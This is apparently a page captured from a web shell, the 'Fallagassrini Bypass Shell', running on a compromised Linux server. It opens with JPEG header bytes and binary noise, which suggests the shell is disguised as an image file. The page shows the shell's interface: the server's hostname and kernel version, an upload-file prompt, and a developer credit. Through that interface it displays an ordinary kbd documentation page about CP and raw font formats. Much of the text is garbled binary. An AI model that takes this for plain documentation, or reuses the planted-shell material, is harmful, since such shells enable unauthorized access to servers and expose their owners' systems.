JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/doc/kbd-1.15.5/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/doc/kbd-1.15.5/font-formats-4.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<HEAD>
 <META NAME="GENERATOR" CONTENT="SGML-Tools 1.0.9">
 <TITLE>Font-formats recognized by the Linux kbd package: CP and raw fonts</TITLE>
 <LINK HREF="font-formats-3.html" REL=previous>
 <LINK HREF="font-formats.html#toc4" REL=contents>
</HEAD>
<BODY>
Next
<A HREF="font-formats-3.html">Previous</A>
<A HREF="font-formats.html#toc4">Contents</A>
<HR>
<H2><A NAME="s4">4. CP and raw fonts</A></H2>

<P>PSF is the Linux standard font format, but various old and very
obsolete formats still exist.
<P>CP font files are just fragments of CPI fonts, obtained by concatenating
<CODE>CPEntryHeader</CODE> (28 bytes), <CODE>FontDataHeader</CODE> (6 bytes),
and for each font <CODE>ScreenFontHeader</CODE> (6 bytes) and
<CODE>ScreenFontData</CODE>, that is, the part of a CPI font describing
one code page.
<P>(History: the first <CODE>.cp</CODE> files used with Linux that I know of
were <CODE>972.cp</CODE> and <CODE>880.cp</CODE> included in
<CODE>codepage.tar.gz</CODE> by Joel M. Hoffman, dated June 14, 1992.
Support for such files was added in <CODE>kbd-0.84</CODE>.)
<P>Of the <CODE>CPEntryHeader</CODE>, the only meaningful field is <CODE>codepage</CODE>.
Of the <CODE>FontDataHeader</CODE>, the only meaningful fields are
<CODE>num_fonts</CODE> (1 or 3) and <CODE>size</CODE>, giving the size
of the following <CODE>ScreenFontData</CODE>.
A CP file containing three fonts of pointsizes 16, 14, 8 will have
size 34+(6+16*256)+(6+14*256)+(6+8*256) = 9780 bytes, with the three
fonts at offsets 40, 4142, 7732.
A CP file containing one font of point size 16 will have size
34+(6+16*256) = 4136 bytes, with the font at offset 40.
<P>There are other sources of fonts, and binary files with a length
that is a multiple of 256 or a multiple of 256 plus 40 are
accepted as possible binary font data (perhaps with a 40-byte
header) for fonts of size 256.
<P>Binary font files of size 32768 are treated as binary font data
for a 512-char font of height 32. Such files are written by
the obsolete <CODE>restorefont -w</CODE>.
<HR>
Next
<A HREF="font-formats-3.html">Previous</A>
<A HREF="font-formats.html#toc4">Contents</A>
</BODY>
</HTML>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net